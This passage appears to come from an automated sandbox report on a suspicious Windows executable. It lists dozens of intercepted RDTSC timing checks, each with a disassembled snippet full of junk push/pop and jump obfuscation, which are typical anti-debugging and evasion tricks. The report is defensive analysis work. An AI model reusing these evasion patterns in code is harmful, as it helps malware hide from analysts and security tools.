Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A033 second address: A2A03F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FEAC0C35666h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A03F second address: A2A048 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A91D second address: A2A930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FEAC0C35666h 0x0000000a pop ecx 0x0000000b jbe 00007FEAC0C3566Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A930 second address: A2A952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jp 00007FEAC13E5376h 0x00000011 jg 00007FEAC13E5376h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jnp 00007FEAC13E5376h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A952 second address: A2A956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A956 second address: A2A964 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FEAC13E5376h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B22F second address: A2B234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B234 second address: A2B23B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B23B second address: A2B268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jng 00007FEAC0C35666h 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ebx 0x00000012 js 00007FEAC0C35673h 0x00000018 push eax 0x00000019 push edx 0x0000001a jg 00007FEAC0C35666h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B54C second address: A2B550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B550 second address: A2B554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DDB3 second address: A2DDD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEAC13E5376h 0x0000000a jmp 00007FEAC13E537Ch 0x0000000f jnp 00007FEAC13E5376h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36996 second address: A369AB instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b js 00007FEAC0C35695h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A369AB second address: A369AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36B1E second address: A36B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CC2 second address: A36CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEAC13E5384h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CDB second address: A36CE5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEAC0C35672h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CE5 second address: A36CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEAC13E5376h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A372A5 second address: A372A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A372A9 second address: A372AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A372AF second address: A372CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEAC0C3566Fh 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A372CB second address: A372E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E5381h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F276 second address: A3F27A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F27A second address: A3F295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E537Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D296 second address: A3D2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEAC0C35674h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D2AF second address: A3D2C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5382h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D2C6 second address: A3D2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D2CE second address: A3D2EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FEAC13E5376h 0x00000010 jmp 00007FEAC13E537Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D73F second address: A3D747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D747 second address: A3D74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D74B second address: A3D765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35676h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D8B9 second address: A3D8DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 jmp 00007FEAC13E537Ah 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 je 00007FEAC13E5376h 0x00000016 pop edx 0x00000017 jo 00007FEAC13E537Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D8DF second address: A3D8EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FEAC0C35666h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DBC0 second address: A3DBC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DBC4 second address: A3DBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEAC0C35666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E1E1 second address: A3E1FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5385h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E1FD second address: A3E203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E985 second address: A3E990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FEAC13E5376h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A461F3 second address: A461F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4633E second address: A46343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46343 second address: A46365 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEAC0C35676h 0x00000008 jnc 00007FEAC0C3566Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48929 second address: A4894B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007FEAC13E5383h 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FEAC13E5376h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4894B second address: A4894F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55E71 second address: A55E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A588D8 second address: A588DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A588DC second address: A588E2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65693 second address: A6569F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FEAC0C35666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6569F second address: A656D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5381h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007FEAC13E5376h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007FEAC13E537Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A66F3A second address: A66F55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEAC0C35677h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69EBC second address: A69EC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7075F second address: A707A1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEAC0C35666h 0x00000008 jmp 00007FEAC0C35679h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jl 00007FEAC0C35666h 0x00000016 jmp 00007FEAC0C35674h 0x0000001b pop edx 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A707A1 second address: A707B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEAC13E537Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A707B5 second address: A707DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FEAC0C35666h 0x0000000e jmp 00007FEAC0C35679h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F043 second address: A6F065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007FEAC13E5388h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F700 second address: A6F706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F706 second address: A6F734 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEAC13E538Ah 0x00000008 jmp 00007FEAC13E5384h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FEAC13E537Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F734 second address: A6F73C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F73C second address: A6F740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7420A second address: A7421A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 jbe 00007FEAC0C35666h 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7421A second address: A74238 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEAC13E5378h 0x00000008 jmp 00007FEAC13E537Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74238 second address: A74257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FEAC0C3566Eh 0x0000000f jnc 00007FEAC0C35666h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91EA0 second address: A91EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91EA6 second address: A91EB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8723 second address: AA8729 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8729 second address: AA8733 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FEAC0C35666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA88A2 second address: AA88A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8B76 second address: AA8B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC13D second address: AAC141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC141 second address: AAC154 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC154 second address: AAC159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAD7EB second address: AAD828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FEAC0C35675h 0x0000000c jl 00007FEAC0C35666h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEAC0C35678h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAD828 second address: AAD82C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAD82C second address: AAD869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007FEAC0C35679h 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007FEAC0C35675h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEFC3 second address: AAEFCD instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEAC13E5376h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51103B9 second address: 51103F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEAC0C35677h 0x00000009 jmp 00007FEAC0C35673h 0x0000000e popfd 0x0000000f push eax 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pop ebp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 mov edi, esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C30A1 second address: 9C30D6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FEAC13E5387h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEAC13E5383h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C30D6 second address: 9C30E0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEAC0C35666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511043C second address: 511044C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEAC13E537Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511044C second address: 5110450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110450 second address: 5110499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FEAC13E537Ah 0x00000010 xor ch, FFFFFFE8h 0x00000013 jmp 00007FEAC13E537Bh 0x00000018 popfd 0x00000019 mov ebx, eax 0x0000001b popad 0x0000001c mov dword ptr [esp], ebp 0x0000001f jmp 00007FEAC13E5382h 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov ecx, edi 0x0000002b mov edx, 248F8A8Ch 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110499 second address: 511049F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511049F second address: 51104A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51104A3 second address: 51104BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEAC0C3566Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51104F1 second address: 5110535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 7D28F3A9h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FEAC13E537Dh 0x00000015 adc si, 36D6h 0x0000001a jmp 00007FEAC13E5381h 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110535 second address: 5110539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110698 second address: 511069C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511069C second address: 51106A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51106A0 second address: 51106A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51106A6 second address: 51106CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dh, 4Dh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51106CE second address: 511070D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEAC13E5381h 0x00000008 push ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov al, byte ptr [edi+01h] 0x00000010 jmp 00007FEAC13E537Ah 0x00000015 inc edi 0x00000016 jmp 00007FEAC13E5380h 0x0000001b test al, al 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511070D second address: 5110711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110711 second address: 5110717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110717 second address: 511074A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35674h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FEB32CCD9B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FEAC0C3566Dh 0x00000017 pop esi 0x00000018 movsx edx, cx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511074A second address: 5110830 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov esi, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FEAC13E537Dh 0x00000013 sub ch, 00000026h 0x00000016 jmp 00007FEAC13E5381h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FEAC13E5380h 0x00000022 adc si, 87C8h 0x00000027 jmp 00007FEAC13E537Bh 0x0000002c popfd 0x0000002d popad 0x0000002e shr ecx, 02h 0x00000031 jmp 00007FEAC13E5386h 0x00000036 rep movsd 0x00000038 rep movsd 0x0000003a rep movsd 0x0000003c rep movsd 0x0000003e rep movsd 0x00000040 pushad 0x00000041 mov dx, si 0x00000044 pushfd 0x00000045 jmp 00007FEAC13E537Ah 0x0000004a xor ch, 00000058h 0x0000004d jmp 00007FEAC13E537Bh 0x00000052 popfd 0x00000053 popad 0x00000054 mov ecx, edx 0x00000056 jmp 